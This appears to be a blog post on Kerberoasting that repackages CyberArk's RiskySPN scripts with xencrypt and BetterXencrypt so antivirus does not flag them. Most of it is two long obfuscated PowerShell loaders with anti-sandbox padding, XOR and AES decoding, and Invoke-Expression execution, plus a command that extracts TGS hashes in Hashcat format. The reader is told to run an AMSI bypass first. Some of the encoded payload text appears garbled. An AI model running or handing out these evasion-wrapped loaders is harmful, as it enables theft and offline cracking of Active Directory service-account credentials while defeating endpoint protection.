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Encrypted SPN Scanning

Encrypted SPN Scanning and Cipher extraction whilst evading AntiVirus

Usually SPN scanning involves using tools such as Rubeus. However as these are common and AV is looking for fingerprints of these tools and not just the type of traffic that is being requested (AS-REQ) in my experience this is a better option for Kerberoasting.

The powershell script of choice was made by CyberArk over 7 years ago. This tool of choice is known as RiskySPNs and is made up of two files. The enumeration file and the cipher extraction file.

You can find more informaiton on these on their git hub page here -> https://github.com/cyberark/RiskySPN

Next I’ve already taken both of these files and encrypted them using xencrypt with 50 iterations.

Xencrypt - https://github.com/the-xentropy/xencrypt

You can simply copy and paste both of the below scripts into a powershell window - make sure you run a AMSI BYPASS FIRST!!

Here’s an example of the output using the test SPN (http/www.test.com): img-description

UPDATE:

BetterXencrypt - https://github.com/GetRektBoy724/BetterXencrypt

Better Xencrypt can be used in the same way but seems to be, well, slightly better in terms of encryption strength however it would still get caught if an AMSI bypass was not ran before hand so the actual advantages are minimal but here is the code in any case:

For BetterXencrypt: Find-PotentiallyCrackableAccounts

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$tipgthzyzqq = (Get-Process -Id $PID | Select-Object Name,@{Name="WorkingSet";Expression={($_.ws / 1024kb)}}).WorkingSet
if ($tipgthzyzqq -lt 250) { $qkomwnvtuk = "a" * 300MB }
$zumpkshigyyrsyv = 0
$vqowuktkgqkkmroni = 30000000
For ($zumpkshigyyrsyv=0; $zumpkshigyyrsyv -lt $vqowuktkgqkkmroni;$zumpkshigyyrsyv++) { $zumpkshigyyrsyv++ }
$ikiujmnkgn = [System.Text.Encoding]::UTF8.GetBytes("zsrjqvpxgvrm")
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534 ),85*'\5@E9BJG8*.&YOE)/2C-CNY6]L	" >@2.:2<)&6;*/9(C	?1?%OC?]I<82)<!#'[@6L <?]')0C+"=/213_N">0G%EHJH8T,)) WF:B6D#A>.GD?YS32EI&,:\E$Y63@"&6KY& *:	?%@L #+%!99C	/1 #0 )79	> Y>U0#:I9L"\A$N5D]= ,CX@?= W$6)<=+#<"!'^/'Z#<IWA5D(H5/;!8A%G>@&89>:>B9>#!">57H7B5@!]	T :"J%E4 +	5< ,I 9,+$ ?25<.2E%(9/[#0$=3A7A3 ]3_PD\2#?R5=!="#%[+ 64.OBD9I:
^%$<W>.829$N.GK)=D )</70@$QB2?237@U0KF>&A[@!#1 3	@F 8)+&[!<_<4&J
)A?-7#<M*E: LCD)2>ED07E9*0*,K1>
>77%?*Y E8"I>SN>#F3U@0B,827
U#$0A8?9?F353O,(2!(2-?8	,\A_J2/5#72?*A7^@?E>;9>;	%%'<C@4]A[ 532&70U50# ?C,,0/F99P5CY35+^8G$3)489!SD(<6	7B "#+)A8L,?E& 58W( "/N8E8E
/H16,E.QK+)X@, 46F[-9!]I%)0, ;+,K0B'VD"4U% N"+09#33+0=B2
S$&E 354 N[(2< <>+'U84]E8G9#4]!7#+""L2+=LY	3F[=,0> 	F>?#+:"7;_S(;>%%)*F@9+)-2<O$I<?29/I
$)DH6		F@&9H9]B<Y?9@'@ 2+0N?
:9%@#0G_$&7+3G>5	8%	?._')*<\7.)4	&E9Y8;K41^5@1F?8U*#S9$M&1E/*%#EHE!KA54;	#OBG8(9D
!0 K	>- !L>F%7";\9!+3A=*,>H<*Z:P3B=FKWY=K
<;,7	+([B0(%@
::*;*J?9 =0E#]*4$=B/,>>8: ^;.!?'0?\ /+>#YG[ *=/ 	CY3<I<+C!3?("/%:)G14=HD$#72C%IE8'6;=5("0^,,] XJ<8(;E?	J2C?@\:C9/C&D !(#90<?C4(79<Y3A<*A4*)D7S)N2""4B02AF#J>7 !*.$= 7@4_ *G$;%^.A>"<80!2;3.4';)F<,0B#0%" 3 >>A>6C8?E;O"9;?I
L$]<<:KFY"#
8Y!5; 5(E&#-P?1K ^?
%4 0IC$;;	4X1#/5<$:(44=41Y2;%%30$.\6^&% ^6$$!C&:>6EDHN72<. $"$IS];5+4"#'	(R_4!_<GH4!;]>Y77>:A%+^@;!6"0*YBV;=>"/6)F1C<G>7,JY7<%,?1=A8G^;  V0C-9N&Y/;C4$08 %?=)8,G)5"!%1LB6=)	(%AF!/5($;_N9;<8/32W<)/M0"'% + >]8!D""&:@$$3TB1F887IP" (EE%O#8	+=+E>_8ZEE& 8-9C7]@4Y
#N4 )E)9H35%I70A'96@24 *OO4M"4#H56B82?8HGE.14!Y@=1,6Z=+=/[+O31>E4T15CC%X ?"O]<K8_/W</2@<K">:#"54 7AY)9.%@\<@#:5(8!>8HBG9
$	D4KPD$9+R O?'88+=2 EGU9"A]@Y?)'
BC*4*	,B"7D1H6  ?7-BG7 ><',F2K]#$O9,"$<"!(##=5/";- \ 1F)1178/E11E;?5+D !\-2C/) 5#!D@1^4SGDIHU,[#E"D7 
= $S'&F.6;(E"C >.E5#,7+_B9<"=*9QN#=:4@GA59#O&?7\$+)3D"=D<%4E5.FNFB EI0H@"J$:'77-G^FH 2=;37;9>? ]3@2S%*5!'0E?4+=9#4'6C">)'93<65:*<C 3=NA,,5D?02]3,=.?$"))
$somgkyuyqowvuvqk = [System.Text.Encoding]::UTF8.GetBytes($tiqihrighwowngxhh)
$iswigokjoikk = $(for ($nmhnzqysoxxru = 0; $nmhnzqysoxxru -lt $somgkyuyqowvuvqk.length; ) {
    for ($hyiwzyyxssi = 0; $hyiwzyyxssi -lt $ikiujmnkgn.length; $hyiwzyyxssi++) {
        $somgkyuyqowvuvqk[$nmhnzqysoxxru] -bxor $ikiujmnkgn[$hyiwzyyxssi]
        $nmhnzqysoxxru++
        if ($nmhnzqysoxxru -ge $somgkyuyqowvuvqk.Length) {
            $hyiwzyyxssi = $ikiujmnkgn.length
        }
    }
})
$iswigokjoikk = [System.Text.Encoding]::UTF8.GetString($iswigokjoikk)
$rgitrqngjqvwtiv = "$iswigokjoikk"
$wwojpptvpuh = $rgitrqngjqvwtiv.ToCharArray()
[array]::Reverse($wwojpptvpuh)
$konsmtrzkjqk = -join($wwojpptvpuh)
$oygnxoghwg = [System.Convert]::FromBase64String("$konsmtrzkjqk")
$qstuzjrkwt = [System.Convert]::FromBase64String("ANfOwYOcJ5YlXGRiq6J+0FOxXrmVGudciXcvwXUjPhU=")
$igxukzitutghvstpr = "==gCkV2Zh5WYNNXZB5SeoBXYyd2b0BXeyNkL5RXayV3YlNlLtVGdzl3U"
$nrhxhhvtptz = $igxukzitutghvstpr.ToCharArray()
[array]::Reverse($nrhxhhvtptz)
$uzpnvsmjhzwkto = -join($nrhxhhvtptz)
$twxpxorvogv = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($uzpnvsmjhzwkto))
$nusrimouvnmnvtg = New-Object "$twxpxorvogv"
$tpkhjsiwiuiumrmp = "==wQCNkO60VZk9WTyVGawl2QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1W"
$susgxmooqviv = $tpkhjsiwiuiumrmp.ToCharArray()
[array]::Reverse($susgxmooqviv)
$hpvvspyvqohxguxkq = -join($susgxmooqviv)
$ywszxqqpwoyijw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($hpvvspyvqohxguxkq))
$mrtiwnugvxuggr = & ([scriptblock]::Create($ywszxqqpwoyijw))
$nusrimouvnmnvtg.Mode = $mrtiwnugvxuggr
$zjukwvvmspu = "==wNTN0SQpjOdVGZv10ZulGZkFGUukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1W"
$qxuznvvqhvpzh = $zjukwvvmspu.ToCharArray()
[array]::Reverse($qxuznvvqhvpzh)
$gjyzvozxjni = -join($qxuznvvqhvpzh)
$vksgnuusirpjg = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($gjyzvozxjni))
$qtzmhrjozttprz = & ([scriptblock]::Create($vksgnuusirpjg))
$nusrimouvnmnvtg.Padding = $qtzmhrjozttprz
$nusrimouvnmnvtg.BlockSize = 128
$nusrimouvnmnvtg.KeySize = 192
$nusrimouvnmnvtg.Key = $qstuzjrkwt
$nusrimouvnmnvtg.IV = $oygnxoghwg[0..15]
$pqykhzrxkxysum = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U3lzdGVtLklPLk1lbW9yeVN0cmVhbQ=="))
$ttvnhvtzwsvvktwk = New-Object $pqykhzrxkxysum(,$nusrimouvnmnvtg.CreateDecryptor().TransformFinalBlock($oygnxoghwg,16,$oygnxoghwg.Length-16))
$zvqmuowsqvk = New-Object $pqykhzrxkxysum
$rjrxvuihko = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("RGVjb21wcmVzcw=="))
$quthrzotthopjino = & ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("W0lPLkNvbXByZXNzaW9uLkNvbXByZXNzaW9uTW9kZV0="))))
$prymuitmny = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U3lzdGVtLklPLkNvbXByZXNzaW9uLkRlZmxhdGVTdHJlYW0="))
$gujwxztznmwzz = New-Object $prymuitmny $ttvnhvtzwsvvktwk, ($quthrzotthopjino::$rjrxvuihko)
$gujwxztznmwzz.CopyTo($zvqmuowsqvk)
$gujwxztznmwzz.Close()
$nusrimouvnmnvtg.Dispose()
$ttvnhvtzwsvvktwk.Close()
$igwnsunivwwryxo = & ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("W1N5c3RlbS5UZXh0LkVuY29kaW5nXQ=="))))
$hnkpntmunmuskuwpo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("VVRGOA=="))
$oxnwyywuxtjmj = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("VG9BcnJheQ=="))
$szpgjytzom = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("R2V0U3RyaW5n"))
$tjgsqqnvzyvs = $igwnsunivwwryxo::$hnkpntmunmuskuwpo.$szpgjytzom($zvqmuowsqvk.$oxnwyywuxtjmj())
Invoke-Expression($tjgsqqnvzyvs)

Get TGS-Cipher (BetterXenCrypt)

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$ixqsqxnwijmng = (Get-Process -Id $PID | Select-Object Name,@{Name="WorkingSet";Expression={($_.ws / 1024kb)}}).WorkingSet
if ($ixqsqxnwijmng -lt 250) { $tkmiptsumj = "a" * 300MB }
$wiymgixxzno = 0
$svioguvkwqy = 30000000
For ($wiymgixxzno=0; $wiymgixxzno -lt $svioguvkwqy;$wiymgixxzno++) { $wiymgixxzno++ }
$roxmjspopu = [System.Text.Encoding]::UTF8.GetBytes("tqrprhzsqrgvkgqy")
$usgxzjipisrgwnjzv = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("I<(7CX C;*,T#[DAQA%931#.	0:".5G(@^LDE<;JF;9>=:+3!9C#?-$Z=!$"!E(L!@A.<(:!4	CAF:'2.D;	/")>3\FC1N995G9?,A&S!7V%&	C	0%"H3!0&A.>E,.B"1J?B=.=33*85!."^%2$;G<*ESO9??C5+H+>"=D*7796<681	1GO>&I=)<8="()=>C<E&5%8+EE&\< T0BC
0"
3J#*#U)?>YX=,A<DK10_! ;
$:7:K;@T$=0$7A?=&V?><0&<]4(C2$-12
>) A6!?1E  # (,3LL'(#'>0\	 &9 ' >R$6[.*<?]	BI= F+C=& #"R>L &:(?C  &?K6)F@^ ,K6->I0L185	6%.>6A	(>OGA6#1:>%*=
E!8)=%	?5?Y2=F7571H"A\/3;GA9;$"6*=:@5$& 5*O? -G0"6 	AF_<)&79B	%!'5*+> 7A"_2:>F8[?	>4	8S$<0$F4_!+#"Q"2.%D6]]" 5*L6E"'I$2EW??#K0^0<*E!8@DE2D>CI* %4"A 8&*6=4<,^>+*?9C)*0'7C48L2%1#H'3;#+C <973. A5?-.; (<"\>D*$3?7^9$&?=35;DIK "@S#PA 0F:C287]'0?>">.
>3-$1,#"(4018%E4'L3A#C683>24<@7B9	%#% +@;H;> ?0)>!&@/	F04X00E#Y58$2U7-8.C
  VL;82:3.L:;.J
T913R1 40I1)%F*O$J,=!5D5(>!IQ18F1;@G4_TG	
%]&C;= =%J7F9" 6[B#F;&%;>3A5"0D'180(	(8K'+>%;T$('*6-KXI&$?"
=7 A%_415JR4_=/B :HK*>
U;@#!<=5#%. &?)$\.?8?EK<GQ#;./^5"E6> B0S4@1*0?>Y)Q^(1?==71%.<+[>P+5+7D!,G#D"#;YJ6!
@0F=?H4:KA<0<)S='.44#$/.29C''/E!#:+9>"F5_(Y,15>VGJ 18	8A!;61H]*^	90(4-F!;>J2Q4$?0@4 F($<;9]8 ):UU&N0  \3=7'
:[Q@1;=8#>A'M;:4..)7_C5#!	)7D9 9QJ)E// )$#=+	%<<)4%\54.6_3CA+
0"C/2^#C>8	4K Z$>E96!*C#%<]?66%>'@)G_)<J)>*?=*
7=L&9;>5458 
F/&1+9C$%]&)L[J& A AY9+K
Y09##
2>%3;+D%V$6_[7B%$!9$-F?  :,>F8>E=V?!8 E7:1OB77<!(>!,I@3@&M:P#D<0YE
BJ$B0) '!! H;[	])>5<3";QBH2F*<&OE]S	)>D8)
?L9/8	@9?O!7,:7<?5I?5Z4%Q(+?;	62G3B
1:?@<#V=;^+'?H@64VB-(8D
022$WC3?-+4I3'@<]=)B=!QK#H 77K83.5^=)^9N_B#'K0 D6;DCYYQ)0*) B;&: V$9>8>AGA&(<8/,>'@C' =@4KW"#B77_=,77A?HI>45$!M ]\/6?IJ/L9CH%S>9/I1,H92$6$#AO=C*
6K	&0Z!-80*.UEF::352+9848A%=)D8
&J"(, ZA#8]*C0:
_#"_#' <2Q#67++]( J7'15>#6@<
1)^RG8
N	!<E3+H2!7,7KC:%L6+2?U"1 *2&KBB@DLD D*>0. CK @WT8!_:0 %A"& VA	!^ ?&99*!&C8EU.#55!9=( H7$"?5-!5_^ #=2&F6&0' ?#N .80!6<Z#A=2 CK :$M4
<91::?^-8 I 8=.	.L[G5	3 %2<&"'(8 1]8 ]ME	 W:$IL?K;ZG
$/6>"NZ\R /GE =:2, (GIB9AE+ D!CD38=" C7"#M<1&!@89M%00Y6+FG+9J 0A2:>O>V^ #12=:$^))!G P ,^*@D$>%EJ" 
%8W	.$C%  ?
+%:TZ ?:B<7:8D!=EC#C'AL,/(C85\ V:22L%7&Q(?2769+9-+$B(2K04	 & ]/4I[<8N1B7Q!?Y Q9:	%R>ZKC$*F7!$
?>>>&(G208:56,<1%[=\ <%Y:S R$(]C48S$&+DC];
2^%57,D#<0@= K=36J ':3=81
H4:VYS'>) 0N<%@,?4_ )RH1-3;K
*8!+C=C$+'?81H%	G128^	Y+FH%:^N\Y#FE1BB.<!#;1;>?6A,3F;[D#8
Q	$:&1&#4<R76 57 +4./.#!GC  81=#6UF_"(#H:
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 <9+Z &"$>;4 8+2$2+	<9#&' G>E_.7-03(8 ($H>'767"$=-4><F;+AI'/>
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 '#?C51!9#1"7)"G1L*[%" 145&:,(%#1<DF6	%C,'^;F%#&%]U@3DB"@)CS1>8<%(7;/%>^* 3$^89SUFV!AJ$_3233"
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-95**CI/]5 D2=]2!7"2-:#?
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>!_^%<-;<&1 <+3@2
];15C@'/0B^*>MF[N;%"+=8+: 9';U;9/H0D1(K>!@T@J3:)\"'6=$&!0A"@1 HD2&)JLC<-C&(7-+BB+",' GD[3'!\^!3I?A="3J4Y$$<=6C8"=*2 4[QG92+G)Y!*<	!G<_B)"=B7@ &G4+F$N>=>1; P,:><5?;4#V96*45$5%8J9=!I>#417	74+,6B$WG@!^= :4]	#.Y[>GCGK\?G;^'51F?N"4#  0>8!*3.*9#3;-S A'I!A7=	;SR #8Y!C 64R<5#18G
6&I%D,<%5>2'G$D@ :%-;^<-"^T0>$+'+3.!+5)E(^"O=]U'4 YDV9Y[Q9^	ZI	3C0_'3R=FD>,.
@'4= *</<%GYL=^"%3&=3?%=B	U0(9P03 	B%E&&/!% 
A38*!7EC*)_HA<#896%&RG3< +B=5!;<P542A(2R	HD+97:0\+$92- =!2>'O&	)U%-<%*5C8G?F;@2 3@8#[&2;T06548;:
2# ;8$ E]Q%<( 23+D;%C.)!I<=1&.)%$:$3C+? J%!;"+2%4<\,F9=2T.):@ )00G9MH!$
#!C^1F?1?>?-32G 
9<D?>: :95I30FEJB<#[D_ QI54&=%I?GC+%+N	@!0!9@;@1(71
2 ._"B&]'?'_F=5277$#2$, $,HG	*.%!JZ='P@ 2 =	K9!72)C*@6 ,5#"+I8[ *F*)7'4\V=M7# _.)9>5<$%;4G	('=5VA48#^%<#@@)), 8>248;"??G%;AD5 +I *8*."-6J[(
!D'^	7)?^7 2P;7D!>
S^> C@ DC.D?  <4&D]$QX!8? ,A'5>!7%*O#E(Q#V!?8! '?(6Z	"0 .UAT4#6 3FI<" <$*=2G=D++7,'?.%)4V4D9:] 0+'6'J6>Z/)&-=-3<MK &3>?6 _;M=E\(0:8
 NA^C_.,=7&.55#T="))
$tisjnuqxwutuxx = [System.Text.Encoding]::UTF8.GetBytes($usgxzjipisrgwnjzv)
$irumsvxznrpghny = $(for ($rghynstoipzioh = 0; $rghynstoipzioh -lt $tisjnuqxwutuxx.length; ) {
    for ($qyixwtvssrgwqumpo = 0; $qyixwtvssrgwqumpo -lt $roxmjspopu.length; $qyixwtvssrgwqumpo++) {
        $tisjnuqxwutuxx[$rghynstoipzioh] -bxor $roxmjspopu[$qyixwtvssrgwqumpo]
        $rghynstoipzioh++
        if ($rghynstoipzioh -ge $tisjnuqxwutuxx.Length) {
            $qyixwtvssrgwqumpo = $roxmjspopu.length
        }
    }
})
$irumsvxznrpghny = [System.Text.Encoding]::UTF8.GetString($irumsvxznrpghny)
$tgwwzoquok = "$irumsvxznrpghny"
$usprzoswihphq = $tgwwzoquok.ToCharArray()
[array]::Reverse($usprzoswihphq)
$rpwirvispkqzpvopx = -join($usprzoswihphq)
$psvztotsoy = [System.Convert]::FromBase64String("$rpwirvispkqzpvopx")
$xmxrgjmhxrsonvq = [System.Convert]::FromBase64String("ojlv3mhIiaW6zGB3kUyfv9eIphx9dsQgHCHCURaJmK0=")
$hitkgptrvxtsy = "==gCkV2Zh5WYNNXZB5SeoBXYyd2b0BXeyNkL5RXayV3YlNlLtVGdzl3U"
$utjtgmmzjq = $hitkgptrvxtsy.ToCharArray()
[array]::Reverse($utjtgmmzjq)
$gpvogtipoj = -join($utjtgmmzjq)
$iupqnxhyuuiwv = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($gpvogtipoj))
$povkvtsxsupvj = New-Object "$iupqnxhyuuiwv"
$rugghzpvhwn = "==gQDVkO60VZk9WTyVGawl2QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1W"
$zkpigyuquroiukmx = $rugghzpvhwn.ToCharArray()
[array]::Reverse($zkpigyuquroiukmx)
$mypkwxvpijiqkt = -join($zkpigyuquroiukmx)
$igwhnvnvikq = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mypkwxvpijiqkt))
$yygvrruyxsmgjttgi = & ([scriptblock]::Create($igwhnvnvikq))
$povkvtsxsupvj.Mode = $yygvrruyxsmgjttgi
$gqxzrstrvmtvsiu = "==wMykDWJNlTBpjOdVGZv10ZulGZkFGUukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1W"
$xxtrspwpmygoixwii = $gqxzrstrvmtvsiu.ToCharArray()
[array]::Reverse($xxtrspwpmygoixwii)
$mgiwshjzuqtrkjnoh = -join($xxtrspwpmygoixwii)
$qjruyqpnnswmo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mgiwshjzuqtrkjnoh))
$uuwhyohisnh = & ([scriptblock]::Create($qjruyqpnnswmo))
$povkvtsxsupvj.Padding = $uuwhyohisnh
$povkvtsxsupvj.BlockSize = 128
$povkvtsxsupvj.KeySize = 128
$povkvtsxsupvj.Key = $xmxrgjmhxrsonvq
$povkvtsxsupvj.IV = $psvztotsoy[0..15]
$mzjmxpiixnkk = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U3lzdGVtLklPLk1lbW9yeVN0cmVhbQ=="))
$nkhkpqwoqkg = New-Object $mzjmxpiixnkk(,$povkvtsxsupvj.CreateDecryptor().TransformFinalBlock($psvztotsoy,16,$psvztotsoy.Length-16))
$sitkzhyznumr = New-Object $mzjmxpiixnkk
$ovwxinuggv = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("RGVjb21wcmVzcw=="))
$yuriwjihushvqmv = & ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("W0lPLkNvbXByZXNzaW9uLkNvbXByZXNzaW9uTW9kZV0="))))
$nympxmohmvtkmkv = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U3lzdGVtLklPLkNvbXByZXNzaW9uLkRlZmxhdGVTdHJlYW0="))
$qppqgnxyxhgwwhkh = New-Object $nympxmohmvtkmkv $nkhkpqwoqkg, ($yuriwjihushvqmv::$ovwxinuggv)
$qppqgnxyxhgwwhkh.CopyTo($sitkzhyznumr)
$qppqgnxyxhgwwhkh.Close()
$povkvtsxsupvj.Dispose()
$nkhkpqwoqkg.Close()
$uwkkumotvgtjrvsk = & ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("W1N5c3RlbS5UZXh0LkVuY29kaW5nXQ=="))))
$kwuvnovnuggumoqst = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("VVRGOA=="))
$qkzsprnigqmxgp = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("VG9BcnJheQ=="))
$hqismopmxvrngsqi = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("R2V0U3RyaW5n"))
$stxgyuonot = $uwkkumotvgtjrvsk::$kwuvnovnuggumoqst.$hqismopmxvrngsqi($sitkzhyznumr.$qkzsprnigqmxgp())
IEX($stxgyuonot)

Now run the scripts:

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Find-PotentiallyCrackableAccounts -Stealth -GetSPNs | Get-TGSCipher -Format Hashcat

For XenCrypt:

Here is the outcome of the file enueration scripts “Find-PotentiallyCrackableAccounts.ps1”:

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$ufsvo = New-Object "System.Security.Cryptography.AesManaged"
$zyoanx = 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